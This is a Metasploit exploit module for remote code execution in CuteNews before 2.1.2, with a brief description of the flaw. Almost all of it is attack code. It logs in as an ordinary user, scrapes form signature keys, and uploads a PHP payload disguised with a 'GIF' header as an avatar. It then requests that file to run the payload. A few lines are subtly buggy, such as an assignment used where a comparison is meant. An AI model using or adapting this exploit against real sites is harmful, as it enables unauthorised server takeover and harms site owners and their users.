This Metasploit module exploits a command execution vulnerability in CuteNews prior to version 2.1.2. The attacker can infiltrate the server through the avatar upload process in the profile area. There is no realistic control of the $imgsize function in "/core/modules/dashboard.php" Header content of the file can be changed and the control can be bypassed. We can use the "GIF" header for this process. An ordinary user is enough to exploit the vulnerability. No need for admin user. The module creates a file for you and allows RCE.
950718cb4e553313f12dbd3582be8ac7##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => "CuteNews 2.1.2 - 'avatar' Remote Code Execution",
'Description' => %q(
This module exploits a command execution vulnerability in CuteNews prior to 2.1.2.
The attacker can infiltrate the server through the avatar upload process in the profile area.
There is no realistic control of the $imgsize function in "/core/modules/dashboard.php"
Header content of the file can be changed and the control can be bypassed.
We can use the "GIF" header for this process.
An ordinary user is enough to exploit the vulnerability. No need for admin user.
The module creates a file for you and allows RCE.
),
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module
],
'References' =>
[
['URL', 'http://pentest.com.tr/exploits/CuteNews-2-1-2-Remote-Code-Execution-Metasploit.html']
['URL', 'http://cutephp.com'] # Official Website
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => "Apr 14 2019",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, "Base CutePHP directory path", '/CuteNews']),
OptString.new('USERNAME', [true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [false, "Password to authenticate with", 'admin'])
]
)
end
def exec
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "uploads","avatar_#{datastore['USERNAME']}_#{@shell}") # shell url
})
end
##
# Login and cookie information gathering
##
def login(uname, pass, check)
# 1st request to get cookie
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_post' => {
'action' => 'dologin',
'username' => uname,
'password' => pass
}
)
cookie = res.get_cookies
# 2nd request to cookie validation
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "index.php"),
'cookie' => cookie
})
if res.code = 200 && (res.body =~ /dashboard/)
return cookie
end
fail_with(Failure::NoAccess, "Authentication was unsuccessful with user: #{uname}")
return nil
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
##
# Upload malicious file // payload integration
##
def upload_shell(cookie, check)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "index.php?mod=main&opt=personal"),
'cookie' => cookie
})
signkey = res.body.split('__signature_key" value="')[1].split('"')[0]
signdsi = res.body.split('__signature_dsi" value="')[1].split('"')[0]
# data preparation
fname = Rex::Text.rand_text_alpha_lower(8) + ".php"
@shell = "#{fname}"
pdata = Rex::MIME::Message.new
pdata.add_part('main', nil, nil, 'form-data; name="mod"')
pdata.add_part('personal', nil, nil, 'form-data; name="opt"')
pdata.add_part("#{signkey}", nil, nil, 'form-data; name="__signature_key"')
pdata.add_part("#{signdsi}", nil, nil, 'form-data; name="__signature_dsi"')
pdata.add_part('', nil, nil, 'form-data; name="editpassword"')
pdata.add_part('', nil, nil, 'form-data; name="confirmpassword"')
pdata.add_part("#{datastore['USERNAME']}", nil, nil, 'form-data; name="editnickname"')
pdata.add_part("GIF\r\n" + payload.encoded, 'image/png', nil, "form-data; name=\"avatar_file\"; filename=\"#{fname}\"")
pdata.add_part('', nil, nil, 'form-data; name="more[site]"')
pdata.add_part('', nil, nil, 'form-data; name="more[about]"')
data = pdata.to_s
res = send_request_cgi({
'method' => 'POST',
'data' => data,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{pdata.bound}",
'cookie' => cookie,
'uri' => normalize_uri(target_uri.path, "index.php")
})
if res && res.code == 200 && res.body =~ /User info updated!/
print_status("Trying to upload #{fname}")
return true
else
fail_with(Failure::NoAccess, 'Error occurred during uploading!')
return false
end
end
##
# Exploit controls and information
##
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
print_good("Authentication was successful with user: #{datastore['USERNAME']}")
if upload_shell(cookie, true)
print_good("Upload successfully.")
exec
end
end
##
# Version and Vulnerability Check
##
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "index.php")
})
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
if res.code == 200
version = res.body.split('target="_blank">CuteNews ')[1].split('</a>')[0]
if version < '2.1.3'
print_status("#{peer} - CuteNews is #{version}")
return Exploit::CheckCode::Vulnerable
end
end
return Exploit::CheckCode::Safe
end
end
##
# The end of the adventure (o_O) // AkkuS
##